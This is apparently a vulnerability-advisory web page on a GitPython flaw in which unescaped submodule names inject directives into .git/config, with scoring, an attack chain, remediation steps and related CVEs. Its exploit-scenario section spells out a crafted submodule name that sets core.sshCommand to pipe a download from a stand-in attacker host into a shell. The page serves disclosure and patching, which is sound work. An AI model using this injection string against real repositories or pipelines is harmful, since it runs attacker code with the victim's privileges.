Skip to main content

GitPython EUVDEUVD-2026-52290

| CVE-2026-69097 HIGH
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (CWE-74)
7.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Clone or process attacker-controlled repository via GitPython
  2. Delivery
    Malicious submodule name written verbatim into .git/config section header
  3. Exploit
    Bracket characters close intended header and inject core.sshCommand directive
  4. Execution
    Victim performs git SSH remote operation
  5. Impact
    Git executes attacker-defined command with victim's OS privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Input neutralization, injection prevention
Exploitation Conditions

Exploitation requires two sequential conditions. First, the victim's code must call Repo.create_submodule(name=<untrusted>) or clone_from() with a repository that contains an attacker-controlled submodule name - sourced either from a malicious .gitmodules file in a cloned repository or from application logic that permits user-defined submodule names. Second, after .git/config has been poisoned, the victim must perform a git SSH operation (fetch, push, or pull against an ssh:// or git@ remote) to trigger execution of the injected core.sshCommand. Systems that exclusively use HTTPS remotes are not directly vulnerable to the core.sshCommand vector, though core.fsmonitor and core.pager injection remain viable on those systems. The CVSS 4.0 vector specifies AT:P (specific attack precondition) and UI:P (passive user interaction), confirming both prerequisites. Non-default configuration is not required - any use of GitPython's submodule APIs against attacker-controlled repository content is sufficient.

Impact

The CVSS 4.0 vector (AV:L/AC:H/AT:P/PR:N/UI:P) reflects local execution context, high attack complexity, specific attack requirements, and passive user interaction. However, the 'local' attack vector here describes where git ultimately executes the injected command - not that the attacker needs local system access. The malicious payload is delivered over the network via an attacker-controlled git repository, making the practical delivery vector network-based. EPSS data was not provided, preventing quantitative probability assessment; this should be obtained from NVD or FIRST. No CISA KEV listing means confirmed widespread exploitation is not established. Real-world risk is meaningful for three populations: developers using GitPython to clone or inspect untrusted repositories, CI/CD pipelines that process user-supplied repository URLs, and applications that expose submodule naming to end users. For these populations, the RCE primitive is severe and the patch version (3.1.53) is confirmed - making upgrade the clear priority. Systems that process only internally trusted repositories with controlled submodule names are at materially lower risk.

Exploit ScenarioDerived

An attacker publishes a public git repository whose .gitmodules file declares a submodule named x"] [core] sshCommand=curl attacker.com/backdoor | sh #. When a developer or automated pipeline uses GitPython <= 3.1.52 to clone this repository and initialize submodules via clone_from(), GitPython writes the injected directive into the local .git/config. The next time the victim's git client performs any SSH-based remote operation - such as fetching updates - git executes the attacker's shell command with the victim's privileges and filesystem access.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 03, 2026

Git-config section-name injection in GitPython <= 3.1.52 enables remote code execution by writing attacker-controlled core.sshCommand directives into a victim's .git/config via the create_submodule() or clone_from() API methods. The vulnerable component (CPE: cpe:2.3:a:gitpython-developers:gitpython) fails to escape bracket characters in submodule names, allowing a crafted name such as x"] [core] sshCommand=malicious # to close the intended config section header and open a new one on the same line - bypassing the existing CR/LF/NUL guard entirely. No public exploit has been identified at time of analysis and no CISA KEV listing exists, but the fully documented injection mechanism and RCE primitive make this a high-priority fix for any pipeline processing untrusted repositories.

RemediationAI

Upgrade GitPython to version 3.1.53 or later using pip install --upgrade gitpython. This is a vendor-released patch confirmed by the GHSA advisory and the fix commit at https://github.com/gitpython-developers/GitPython/commit/1ed1b924f4e2d2ee7bab296df77b978af21853f1. The full vendor advisory is at https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3rp5-jjmw-4wv2. As a compensating control prior to patching, applications should validate submodule names before passing them to create_submodule() or clone_from(), rejecting any names containing ], [, ", #, =, or whitespace - note this may break legitimate submodule names containing these characters. Additionally, avoid cloning or processing repositories from untrusted sources until patched, since .gitmodules contents directly feed the vulnerable code paths. Pipelines that cannot immediately upgrade should consider disabling submodule initialization (--no-recurse-submodules) as a temporary measure, accepting the trade-off of broken submodule functionality.

Affected VersionsENISA

GitPython 0 <3.1.53

Affected Packages

pypi gitpython fix: 3.1.53

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

GitPython is a Python library for programmatic git repository interaction, identified by CPE cpe:2.3:a:gitpython-developers:gitpython:*:*:*:*:*:*:*:*. Git's native config file format uses [section "subsection"] headers where the section name is delimited by [ and ]. GitPython's _assure_config_name_safe() function in git/config.py line 75 enforces only a regex guard r'[\r\n\x00]' - stripping CR, LF, and NUL - before writing names verbatim into the [%s]\n header template at line 693. For submodules, git/objects/submodule/util.py:39 wraps the attacker-supplied name as submodule "<name>". A name containing "] [core] sshCommand=CMD # causes the serialized line to become [submodule "x"] [core] sshCommand=CMD #"], which git's config parser interprets as two distinct sections: the intended submodule entry and a new [core] block setting sshCommand. This is CWE-74 (Injection) - specifically an incomplete output-encoding failure that was previously partially addressed for newline injection in 3.1.50 (GHSA-mv93-w799-cj2w, GHSA-v87r-6q3f-2j67) but left same-line bracket injection unmitigated. Beyond core.sshCommand, the same primitive can inject core.fsmonitor, core.pager, and alias.* directives.

Know when Gitpython gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 7.3 HIGH
CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.3 HIGH

Network delivery via malicious repository (AV:N); AC:H because victim must subsequently trigger a git SSH operation; scope changes as RCE executes in git subprocess outside GitPython's trust boundary.

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 7.0 HIGH
AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Red Hat 7.0 MEDIUM

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Local
Attack Complexity
High
Attack Requirements
Present
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 03, 2026 - 14:02 EUVD
CVE Published
Aug 03, 2026 - 13:20 cve.org
HIGH 7.3

DescriptionCVE.org

GitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim's .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 1 pypi packages depend on gitpython (1 direct, 0 indirect)

Ecosystem-wide dependent count for version 3.1.53.

Executive ViewAI

Why It Matters

GitPython versions 3.1.52 and earlier are vulnerable to remote code execution when processing git repositories with crafted submodule names, posing critical risk to CI/CD pipelines and development teams that clone or create submodules from untrusted sources. An attacker can execute arbitrary commands within the build environment by injecting malicious git configuration directives, potentially compromising source code, deployment artifacts, and downstream systems. This affects any organization automating repository operations.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.2%
Top 91% exploitable
Prevalence
Medium
popular Python git library used widely in developer tools and CI/CD
Threat Intel
1
1 source
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2022-24439 CRITICAL POC
9.8 Dec 06

All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, w

CVE-2026-78676 CRITICAL POC
9.3 Aug 25

Arbitrary code execution in GitPython before 3.1.59 arises from unsafe re-serialization of multi-line, quoted git-config

CVE-2026-67325 HIGH POC
8.7 Aug 01

Command injection in GitPython before 3.1.51 allows low-privileged attackers to bypass the `check_unsafe_options` blockl

CVE-2026-42215 HIGH POC
8.8 May 07

Command injection in GitPython 3.1.30-3.1.46 allows remote authenticated attackers to execute arbitrary commands via und

CVE-2026-67323 HIGH POC
8.6 Aug 01

Command injection and arbitrary file overwrite in GitPython before 3.1.51 expose applications that pass attacker-control

CVE-2026-78677 HIGH POC
8.7 Aug 25

Arbitrary directory creation and potential hook-based code execution in GitPython affects all releases before 3.1.59. Th

CVE-2026-67322 HIGH POC
8.7 Aug 01

Environment variable exfiltration in GitPython before 3.1.52 allows any attacker who controls a URL passed to `Repo.clon

CVE-2026-78675 HIGH POC
8.6 Aug 25

GitPython before 3.1.59 discloses local file content through exception messages when parsing .gitmodules files that cont

CVE-2023-40590 HIGH POC
7.8 Aug 28

GitPython is a python library used to interact with Git repositories. Rated high severity (CVSS 7.8), this vulnerability

CVE-2026-78679 HIGH POC
7.1 Aug 25

Arbitrary file read in GitPython before 3.1.59 allows low-privileged remote attackers to exfiltrate sensitive files by s

CVE-2026-78678 HIGH POC
7.1 Aug 25

Arbitrary file read in GitPython versions before 3.1.59 exposes sensitive filesystem content to low-privileged network a

CVE-2023-41040 MEDIUM POC
6.5 Aug 30

GitPython is a python library used to interact with Git repositories. Rated medium severity (CVSS 6.5), this vulnerabili

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Affected
SUSE Linux Enterprise Module for Python 3 15 SP7 Affected
SUSE Linux Enterprise Server 15 SP7 Affected
SUSE Linux Enterprise Server 16.0 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy